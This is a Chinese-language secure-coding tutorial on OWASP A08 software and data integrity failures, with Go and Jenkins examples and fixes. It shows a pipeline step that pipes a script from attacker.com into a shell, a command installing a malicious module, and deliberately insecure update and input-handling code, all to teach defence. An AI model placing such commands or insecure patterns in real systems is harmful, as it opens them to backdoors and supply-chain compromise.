跳至主要内容

A08: 軟體與資料完整性失敗(Software and Data Integrity Failures)

漏洞概述

軟體與資料完整性失敗主要發生在應用程式未能正確驗證程式碼、更新檔或資料的完整性,導致攻擊者可以修改軟體或攔截更新,進而執行惡意程式碼或影響系統運作。這類攻擊常見於:

  • CI/CD 供應鏈攻擊(攻擊者修改開發流程中的程式碼或依賴套件)
  • 不安全的自動更新機制(未驗證更新來源,導致惡意更新安裝)
  • 依賴套件的完整性驗證不足(開發者使用未受信任的開源套件或篡改的依賴)
  • 不安全的反序列化攻擊(攻擊者透過不受信任的資料影響應用程式行為)

當攻擊者成功利用這些漏洞,可能會導致應用程式被植入後門、執行惡意指令,甚至影響整個企業供應鏈的安全。


🔍 問題分析

1. CI/CD 供應鏈攻擊

現代軟體開發流程通常會使用 CI/CD(持續整合與持續部署)來自動化建置與部署,但若 CI/CD pipeline 沒有做好存取控制,攻擊者可以藉由篡改 CI/CD 設定檔,將惡意程式碼推送到正式環境。

攻擊方式

  • 取得 CI/CD pipeline 權限,植入惡意腳本,讓應用程式在部署時自動下載並執行惡意程式碼。
  • 修改 Dockerfilepackage.json 來載入後門程式。
  • 透過 CI/CD 伺服器的 API 操作未經授權的部署。

示範範例(Golang Jenkins Webhook 攻擊) 假設攻擊者可存取 Jenkins Pipeline,並且能夠修改 Jenkinsfile 來執行惡意命令:

pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'curl -s http://attacker.com/malware.sh | sh' // 惡意下載並執行
}
}
}
}

修補措施

  1. 限制 CI/CD pipeline 權限,確保僅授權人員可修改
  2. 使用 Code Signing(程式碼簽章)來驗證程式碼完整性
  3. 啟用 Webhook 驗證機制,避免 CI/CD pipeline 被外部觸發

2. 不安全的自動更新機制

許多應用程式會自動檢查更新,並從伺服器下載新版本執行,但若更新機制未進行來源驗證,攻擊者可以攔截更新請求,提供惡意版本,並讓用戶下載後門程式。

攻擊方式

  • 中間人攻擊(MITM):攔截 HTTP 更新請求,返回惡意更新包。
  • DNS 劫持:將官方更新伺服器的 DNS 指向攻擊者控制的伺服器,提供假更新。

示範程式碼(Golang 不安全更新) 假設一個應用程式透過 HTTP 檢查更新,並下載更新檔:

package main

import (
"fmt"
"io"
"net/http"
"os"
)

func main() {
url := "http://example.com/update/latest" // 不安全的 HTTP 下載
resp, err := http.Get(url)
if err != nil {
fmt.Println("下載失敗:", err)
return
}
defer resp.Body.Close()

out, err := os.Create("update.bin")
if err != nil {
fmt.Println("無法儲存更新檔案:", err)
return
}
defer out.Close()

io.Copy(out, resp.Body)
fmt.Println("更新下載完成")
}

修補措施

  1. 所有更新請求強制使用 HTTPS,避免 MITM 攻擊
  2. 使用數位簽章(如 SHA256)驗證下載的檔案完整性
  3. 在伺服器端提供 GPG 簽名,客戶端驗證簽名

3. 依賴套件完整性驗證不足

應用程式通常依賴開源套件,但如果開發者未檢查套件來源,攻擊者可以透過依賴混淆(Dependency Confusion)惡意套件來植入惡意程式碼。

攻擊方式

  • 依賴混淆攻擊:攻擊者在 NPM、PyPI 或 Go Modules 上發佈惡意版本,名稱與內部套件相似,例如 internal-lib v1.2.3 變成 internal_lib v1.2.3
  • 開源供應鏈攻擊:攻擊者滲透開源專案,將惡意程式碼加入原始碼(如 event-stream NPM 套件)。

示範程式碼(Golang 安裝不受信任的模組)

go get github.com/attacker/malicious-package

修補措施

  1. 使用 Go Modules 並鎖定可信任的版本go.sum
  2. 在 CI/CD pipeline 內加入 go list -m -u all 檢查異常依賴
  3. 針對第三方模組使用 supply-chain security 掃描工具(如 Dependency-Check、OpenVAS)

4. 不安全的反序列化攻擊

如果應用程式允許用戶提供序列化資料,且未進行適當的驗證,攻擊者可以提供惡意的序列化物件,導致執行惡意指令或影響程式行為。

攻擊方式

  • 利用 Gob 物件注入惡意代碼
  • 提供惡意 JSON/XML,讓應用程式執行額外邏輯

示範程式碼(Golang 反序列化漏洞)

package main

import (
"encoding/json"
"fmt"
"net/http"
)

type User struct {
Name string `json:"name"`
Role string `json:"role"`
}

func handler(w http.ResponseWriter, r *http.Request) {
var user User
json.NewDecoder(r.Body).Decode(&user)

// 未驗證 role,攻擊者可以傳入 {"name":"hacker", "role":"admin"}
fmt.Fprintf(w, "Hello %s, your role is %s", user.Name, user.Role)
}

func main() {
http.HandleFunc("/login", handler)
http.ListenAndServe(":8080", nil)
}

修補措施

  1. 限制允許的序列化資料,避免不受信任的輸入
  2. 針對 JSON/XML 解析進行輸入驗證,避免不必要的欄位
  3. 對於需要反序列化的物件,加入白名單機制